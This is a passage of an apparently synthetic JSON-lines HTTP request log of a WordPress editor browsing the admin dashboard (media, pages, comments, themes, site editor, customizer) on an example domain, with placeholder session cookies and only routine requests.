wp-settings-time-1=1794203160"], "body": ""}
{"method": "GET", "target": "/wp-includes/images/spinner.gif", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,buttons,media-views,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menu&load%5Bchunk_1%5D=s,wp-pointer,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203160"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 128", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203160"], "body": "action=query-attachments&post_id=0&query%5Borderby%5D=date&query%5Border%5D=DESC&query%5Bposts_per_page%5D=80&query%5Bpaged%5D=1"}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203160"], "body": ""}
{"method": "GET", "target": "/wp-admin/media-new.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203161"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils,wp-dom-ready,wp-hooks&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203162"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=hoverIntent&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203162"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?post_type=page", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203162"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 171", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203163"], "body": "data%5Bwp-check-locked-posts%5D%5B%5D=post-3&data%5Bwp-check-locked-posts%5D%5B%5D=post-2&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-page&has_focus=true"}
{"method": "GET", "target": "/wp-admin/post-new.php?post_type=page", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203163"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=8&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203164"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/block-patterns/patterns?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203164"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/users/me?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 158", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203164"], "body": "{\"meta\":{\"persisted_preferences\":{\"core\":{\"isComplementaryAreaVisible\":true},\"_modified\":\"2026-11-09T05:46:05.490Z\",\"core/edit-post\":{\"welcomeGuide\":false}}}}"}
{"method": "GET", "target": "/wp-admin/edit-comments.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203164"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?comment_status=moderated", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203165"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203166"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/screenshot.png?ver=1.5", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203167"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfour/screenshot.png?ver=1.6", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203167"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentythree/screenshot.png?ver=1.7", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203167"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203167"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 73", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/theme-install.php?browse=popular", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203168"], "body": "request%5Bper_page%5D=100&request%5Bbrowse%5D=popular&action=query-themes"}
{"method": "GET", "target": "/wp-admin/site-editor.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203168"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,wp-theme,wp-components,wp-preferences,wp-block-editor,wp-reusable-blocks,wp-patterns,wp-media-utils,wp-edito&load%5Bchunk_1%5D=r,wp-base-styles,common,forms,wp-reset-editor-styles,wp-block-library,wp-block-editor-content,wp-edit-blocks,wp-commands,wp-edit&load%5Bchunk_2%5D=-site,wp-format-library,buttons,media-views,wp-block-directory,admin-menu,dashboard,list-tables,edit,revisions,media,themes,abou&load%5Bchunk_3%5D=t,nav-menus,wp-pointer,widgets,site-icon,l10n,wp-tooltip,wp-auth-check&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203169"], "body": ""}
{"method": "OPTIONS", "target": "/wp-json/wp/v2/settings?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203169"], "body": ""}
{"method": "GET", "target": "/wp-admin/nav-menus.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203169"], "body": ""}
{"method": "GET", "target": "/wp-admin/widgets.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203169"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203169"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets,site-icon&load%5Bchunk_1%5D=,l10n,wp-base-styles,wp-tooltip,buttons,customize-controls,customize-nav-menus,code-editor,media-views&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203172"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,wp-hooks,underscore,wp-dom-ready&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203172"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=heartbeat,customize-base,wp-util,customize-controls,backbone,wp-backbone,accordion,wp-sanitize,customize-nav-menus,imgareaselect&load%5Bchunk_1%5D=,customize-models,shortcode,media-models,wp-plupload&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203172"], "body": ""}
